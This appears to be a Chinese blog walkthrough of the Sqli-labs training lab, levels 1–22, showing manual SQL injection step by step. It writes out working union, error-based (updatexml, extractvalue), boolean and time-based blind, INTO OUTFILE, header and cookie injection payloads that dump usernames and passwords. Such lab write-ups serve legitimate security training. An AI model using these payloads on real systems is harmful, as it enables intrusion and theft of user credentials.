Sqli-labs靶场之SQL手注通关详解--基础篇(Less 1~22)

Less-1  GET - Error based - Single quotes - String

1.判断注入点,这里的页面中没有可以注入的地方,因此可以判断注入点在url栏

2.判断注入类型

id=1 and 1=1 页面正常

id=1 and 1=2 页面正常

id=1' and 1=1 --+ 页面正常

id=1' and 1=2 --+  页面异常

由此可以判断该注入类型为单引号字符型注入(当然这里也可以不用判断,根据关卡名称就可以看出来)

3.判断字段数

id=1' order by 3--+  页面正常

 id=1' order by  4--+  页面异常

 4.判断回显点

 可以判断回显点有两个,即2,3  

5.获取数据库名称

 得到数据库名称:security

6.查询表名

这里补充一下相关的知识点:

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

有了上面的知识,这里就可以开始构造注入语句了:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’--+

7.查询列(字段)名

构造注入语句:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

8.查询字段信息

构造查询语句:1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

Less-2  GET - Error based - Intiger based 

这里同第一关操作步骤一样,唯一区别是第一关是字符型注入,第二关是数字型注入

最后查询到的信息如下图:

Less-3  GET - Error based - Single quotes with twist - string

1.判断注入点,这里同之前一样,注入点在url处

2.判断注入类型

id=1 and 1=1 页面正常

id=1 and 1=2 页面正常

id=1' and 1=1 --+  页面报错

id=1' and 1=2 --+  页面报错

由此可以判段这里的注入类型既不是数字型也不是单引号注入。通过尝试发现,此处的注入类型为字符型单括号注入。

id=1') and 1=1 --+ 页面正常

id=1') and 1=2 --+ 页面异常

3.其他步骤同Less-1一样,最后得到字段信息如下图: 

 Less-4  GET - Error based - Double Quotes – String

1.判断注入点,同前面一样,注入点在url处

2.判断注入类型,通过尝试发现,这里是双引号单括号型注入

id=1") and 1=1--+ 页面正常

id=1") and 1=2--+ 页面异常

3.其他步骤同Less-1一样,最后得到字段信息如下图:

 Less-5  GET - Double Injection - String Quotes - String

1.判断注入点,这里同前面一样,注入点在url处

2.判断注入类型 

观察源码发现,当参数正确时,会返回You are in……,因此这里不会输出查询结果,所以这里不再使用联合查询注入。这里可以使用报错注入或者布尔盲注,我使用的是报错注入的方式。(根据题目来看,这里是喊我们用双注入,但是关于双注入这里我还没太懂,所以涉及到双注入的我暂时都用的其他注入方式来解题)

通过尝试发现该注入方式为字符型注入

id=1 and 1=1 页面正常

id=1 and 1=2 页面正常

id=1' and 1=1--+ 页面正常

id=1' and 1=2--+ 页面异常 

 3.判断字段数

1' order by 3--+ 页面正常

1' order by 4--+ 页面报错

由此可以判断此处字段数为3

4.查看当前库

知识补充:

updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是‘~’十六进制转化的结果,用来分割我们的结果

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’A’ limit 0,1),0x7e),1),查看A库下面的第一张表

updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’B’ limit 0,1),0x7e),1),查看B表下的第一个字段

updatexml(1,concat(0x7e,(select C from A.B),0x7e),1),查看C字段下面的第一个字段

构造查询语句:1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

得到数据库名称:security

5.获取表名

构造查询语句,查询第一张表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

构造查询语句,查询第二张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+

构造查询语句,查询第三张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1)--+

构造查询语句,查询第四张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+

也可以使用concat()函数,让所有表名全部回显:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)--+

6.获取列(字段)名

构造查询语句:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

7.获取字段信息

构造查询语句,查询第一个用户名:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users ),0x7e),1)

Less-6  GET - Double Injection - Double Quotes - String

1.判断注入点,这里同之前一样,注入点在url处 

2.判断注入类型 

通过判断,该注入类型为双引号字符型注入

1" and 1=1--+ 页面正常

 1" and 1=2--+ 页面异常

3.其他步骤同Less-5一样只是闭合方式不同,最后得到字段信息。

 Less-7  GET - Dump into outfile - String

1.知识补充

首先需要了解一下命令into outfile是什么?

INTO OUTFILE 是一条 SQL 查询语句,用于将查询结果以文本文件的形式导出到服务器上的指定位置。它可以用于生成包含查询结果的文件,如 CSV 文件或纯文本文件。

INTO OUTFILE 语句的基本语法如下:

sql

SELECT column1,column2,…

INTO OUTFILE 'filename'

[CHARACTER SET charset name]

[FIELD TERMINATEDBY 'delimiter']

[LINES TERMINATED BY 'delimiter']

FROM table_name

WHERE condition;

其中,关键字和参数的含义如下:

SELECT column1,column2,…:指定要导出到文件的列

INTO OUTFILE 'filename':指定要导出到文件的路径和文件名(注意:必须具有服务器上存储该文件的目录的写入权限)

[CHARACTER SET charset name](可选):指定文件的字符集编码,默认为数据库的字符集编码

[FIELD TERMINATEDBY 'delimiter'](可选):指定字段之间的分隔符,默认为制表符('\t')[LINES TERMINATED BY 'delimiter'](可选):指定行之间的分隔符,默认为换行符('\n')FROM table_name:指定要从中导出数据的表名

WHERE condition:(可选):指定筛选记录的条件

注意:

INTO OUTFILE 语句需要在有足够的权限的情况下执行。数据库用户需要具有 FILE 权限以及对导出文件所在目录的写入权限。

以下是一个示例,将 "products" 表中的数据导出到名为 "output.csv" 的 CSV 文件中:

sql

SELECT product_id, product_name, price

INTO OUTFILE '/var/www/html/output.csv'

FIELDS TERMINATED BY ',' ENCLOSED BY '"'

LINES TERMINATED BY '\n'

FROM products;

在这个示例中,查询结果的每一行会以逗号分隔的形式写入到文件中,并用双引号括起每个字段。行之间使用换行符分隔。

实际使用时,需要根据数据库和文件系统的配置进行适当调整,并确保权限和路径的正确设置。

1.判断注入点,同之前一样,注入点在url处

2.判断注入类型

查看源码,同样不会输出回显结果,根据题目提示,得知该关卡为SQL的文件注入

通过尝试判断,该关卡注入闭合方式'))

3.判断字段数

此处字段数为3

4.获取数据库名称 

构造语句: 1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt" --+

页面虽然报错,但是可以去Less7的根目录下查看,可以看到已经生成了一个1.txt文件

可以得到数据库名称‘security’

后续操作同Less-1之前一样,只是闭合方式不同,以及需要在后面添加文件路径,最后得到字段详细信息,如下图:

Less-8  GET - Bind - Boolian Based - Single Quotes

1.判断注入点

注入点同之前一样在url中

2.判断注入类型

通过尝试判断,此处的注入类型为单引号字符型注入

1' and 1=1--+  页面正常

1' and 1=2--+  页面异常 

 源码分析:

通过分析源码,很显然可以看到,虽然不会报错,但是可以通过正确回显和错误回显来返回页面数据的不同进行对比,正确为True,错误为False,因此这里可以利用布尔盲注来进行注入。

3.判断字段数

通过判断,当order by语句后面接3时,页面回显正常,接4时,页面异常,因此这里的字段数为3

4.爆数据库名称 

1' and length(database())>7--+ 页面正常

1' and length(database())>8--+ 页面异常 

由此可以数据库名称长度为8 

1' and ascii(substr(database(),1,1))>114--+ 页面正常

1' and ascii(substr(database(),,1))>115--+ 页面异常 

将ascii码转换为字符串,由此可以得到数据库名称第一个字母为‘s’

1' and ascii(substr(database(),2,1))>100--+ 页面正常

1' and ascii(substr(database(),2,1))>101--+--+ 页面异常 

通过ascii码转换,由此可以推出数据库的第二个字母为‘e’,依次类推,可以猜解出数据库名称‘security’

5. 爆表名

首先判断表的个数:

构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>3--+ 页面正常

构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>4--+  页面异常

因此这里有4个表

判断第一张表的长度

1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>5--+ 页面正常

1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>6--+ 页面异常

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ 页面正常 

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+ 页面异常

ascii编码转换为字符为‘e’,因此第一张表的表名第一个字母为‘e’

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+ 页面正常

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+ 页面异常

ascii编码转换为字符为‘m’,因此第一张表的表名第二个字母为‘m’

第二张表表名查询构造语句:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))

后面的同样的操作,可以得到所有的表名信息,然后这里我们需要的是users表

6.获取列名 

首先构造注入语句,判断users表中有多少列:

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')

得到users表的列数有三列,然后接下来开始猜解第一列列名:

构造语句:1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>116--+ 页面回显正常

 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>117--+ 页面回显异常

根据 ascii码转换得到第一个字符为‘u’,后面的查询语句只需修改limit的值即可,最后得到我们需要的username列和password列

7.获取字段详细信息

构造语句:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>67--+ 页面回显正常

1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>68-- + 页面回显异常

通过ascii码的转换,得到第一个用户名的第一个字母为‘D’

构造语句查询第二个字母,1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),2,1)),得到第二个字母为‘u’,以此类推,最后得到第一个用户名‘Dumb’,然后通过修改limit的值可以查询后面的用户名信息

构造语句,查询第一个用户名对应的密码:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>96--+ 页面正常

1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>97--+ 页面异常

通过ascii码的转换,得到第一个用户名对应密码的第一个字母为‘a’,后面步骤同之前获取用户名信息差不多。

Less-9  GET - Bind - Time based - Single Quotes

1.判断注入点

这里同之前一样,注入点在url处

2.判断字段类型

这里不论闭合方式是什么页面回显都是You are in……,因此这里使用延时注入的方式,为了观察效果更好,这关借助工具burpsuite来解决。

这里通过判断字符型的回显时间不受影响,很明显回显时间变长了,因此这里可以判断注入类型为字符型,闭合方式为单引号闭合。

知识补充:

if(条件,A,B),条件成立,则执行A,否则执行B

查询数据库名长度:1' and if(length(database())>5,1,sleep(5))--+

后面的操作步骤均需要使用if语句,其余步骤同Less-8差不多。

Less-10  GET - Bind - Time based - double quotes

1.判断注入点

这里注入点同之前一样,注入点位置为url处

2.判断注入类型

经过尝试判断,此处注入点类型为字符型,闭合方式为双引号闭合,注入方式同上一关一样使用延时注入,后面的操作与Less-9差不多,只需修改闭合方式处。

Less-11  POST - Error Based - Single quotes – String

  1. 判断注入点

通过判断,结合题目名称提示,这里注入点在提交框处。这里使用burpsuite抓包借用工具来修改。

  1. 判断注入类型

当uname的参数为admin'时,页面报错,通过报错的内容,可以判断这里为字符型注入,闭合方式为单引号闭合。

2.判断字段数

admin' order by 2#页面正常,这里的注释符使用--+有的时候不太行,所以这里的注释符使用#。

admin' order by 3#页面异常

 3.判断回显点

4.后面的步骤同Less-1一样,使用联合注入查询,最后查询信息如下图:

Less-12  POST - Error Based – double quotes

括号,其他步骤可参考Less-1这里的使用单引号不报错,于是尝试其他的闭合方式,当闭合方式为")时,页面报错,因此这里可以判断闭合方式为双引号加括号

最后获得详细信息如下图:

Less-13  POST - Double Injection – Single quotes- String - with twist

  1. 判断注入类型

这关跟之前不一样,没有回显信息,只能看到正确或错误

admin') and 1=1  页面正常

admin') and 1=2  页面异常

通过判断这里是字符型注入,闭合方式单引号加括号。

2.判断字段数

这里字段数为2

3.这里由于没有回显信息,可以采用延时注入,布尔盲注和报错注入,这里我采用报错注入,它的效率会比其他两种注入方式高一点,获取数据库名称如下

4.后续步骤可参考Less-5,最后详细信息如下图:

Less-14  POST - Double Injection - Single quotes- String -with twist

  1. 判断注入类型

通过报错提示,可以判断这里是字符型注入,双引号闭合

    2.同样这里没有回显,为了高效,这里也采用报错注入,后面步骤同Less-13差不多,可以参考Less-13

Less-15  POST – Blind – Boolian/time Based – Single quotes

  1. 判断注入类型

admin' and 1=1# 页面正常

admin' and 1=2# 页面异常

通过上面的注入,可以判断注入类型为字符型,单引号闭合,这里依然没有回显,但是这里没有报错信息,因此不能使用报错注入了,于是这里可以使用延时注入或者布尔盲注,效率其实都差不多,我这就采用布尔盲注来进行                                                                                                         2.判断字段数

admin' order by 2# 页面正常

admin' order by 3# 页面异常

因此可以判断这里的字段数为2

3.剩余步骤可以参考Less-8

Less-16  POST - Blind-Boolian/Time Based - Double quotes

这里注入方式为字符型,闭合方式为"),后续步骤可参考Less-15

Less-17  POST - Update Query- Error Based – string

  1. 知识补充

前面的十来关都比较简单,没有什么过滤,但是从这关开始就有过滤了,输入的usename会先过滤一次,首先来查看源码,这里介绍几个php函数:

get_magic_quotes_gpc():该函数用于检测php环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,php就会对输入的单引号、双引号、反斜杠等字符转义(也就是在他前面加上反斜杠),当值为0的时候就不会转义

stripslashes():该函数用于删除字符串里的反斜杠,也就是防止转义

ctype_digit():该函数用于检测字符串是否为纯数字。是则返回true,不是则返回false

mysql_real_escape_string():该函数用于转义sql语句中特殊字符串,导致闭合失败等问题,防止sql注入

intval():该函数用于将字符串转化为纯数字

通过分析上面的代码,就可以得到只要输入的usename经过上面则不能再注入sql语句了,但是password并没有过滤,因此这里的可以注入的点只有password处,并且需要输入正确的usename才可以注入成功

  1. 判断注入类型

根据报错的信息可以判断这里是字符型注入,单引号闭合,可以使用报错注入来解决

2.爆数据库名

3.爆表名

4.爆列 

5.获取字段信息

这里页面报错,分析原因,可以在源码中看到:

这是update语句,不能select表中的值,这里我参考网上其他博主的绕过方式,将表名users用(select username from users)a替换掉

构造语句,查询字段信息:

1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)#

但是这里发现回显的字段并不完整,是因为报错注入最多回显32个字符,于是这里使用mid()函数来解决该问题

构造注入语句:

1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#

获得后部分信息:

1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),64,32)),1)#

将获取的信息拼接起来即得到了完整的密码

Less-18  POST - Header Injection - Uagent field - Error based

  1. 判断注入点

当账号密码正确,页面会回显ip以及UA码

当账号密码不正确时,页面只会回显ip

查看源码分析:

这里对uname和passwd都进行了过滤,因此不能在此处进行注入

但是网页有ua码的回显,接着分析后面的代码,可以看到该关卡对ua码并没有进行过滤,因此这里可以在ua码处进行注入(这里需要抓包解决),但是前提需要输入正确的uname和passwd

2.判断注入类型

在ua码处进行注入,通过页面回显的报错,可以判断该关卡注入类型为字符型,闭合方式为'

3.爆数据库名

构造注入语句:' and extractvalue(1,concat(0x7e,(database()),0x7e)) and'

这里的注入语句可以不使用注释,原因是在源码中,ua码是在IP和uname之前的,如果使用注释的话,可能会导致insert语句异常

4.爆表 

构造查询语句:' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) and '

5.爆列

构造查询语句:' and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '

6.获取字段信息

构造查询语句:' and extractvalue(1 ,concat(0x7e,(select group_concat(username,password)from security.users),0x7e)) and'

这里也是回显的长度限制了,需要使用mid()函数,查询结果如下图:

Less-19  POST -Header Injection - Referer field - Error based

该关卡注入点在referer处,其余步骤与Less-18差不多,可参考第18关,最后获得字段信息如下图:

Less-20  POST - Cookie injections - Uagent field - error based

  1. 判断注入点

当输入正确的账号密码,登录上去后页面回显如下图所示:

可以看到页面回显信息中有ua码,ip,cookie,username,paddword,id结合题目提示,大致可以判断该关卡注入点在cookie处

2.判断注入类型

根据页面报错信息,可以判断注入类型为字符型,单引号方式闭合

3.爆数据库名

4.后续操作同Less-18差不多,可以参考第18关的解题思考,最后获得字段信息如下:

Less-21  Cookie injection- base64 encoded-single quotes and parenthesis

  1. 判断注入点

该关卡正常登录页面与上一关回显的信息差不多,因此注入点也在cookie处,唯一的区别就是cookie的值经过了编码,查看源码,如下图:

根据源码这里可以判断,cookie值使用了base64编码,于是我们在使用sql语句进行注入的时候,要先对sql语句进行base64编码

2.判断注入类型

通过报错提示,可以判断这里的注入类型为字符型,单引号加括号闭合

3.爆数据库名

后续的操作步骤同前面几关差不多,可以参考上一关,唯一需要注意的就是一定要先对构造的sql语句进行base64编码一次,才可以进行注入,最后获得字段信息如下图:

Less-22  Cookie injection - base64 encodedc - double quotes

该关卡与21关步骤基本一致,可以参考21关,只是闭合方式不一样,这里是使用双引号来进行闭合,最后获得字段信息如下:

到这里sqli-labs的基础关卡就全部通关完成啦~​​​​​​

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值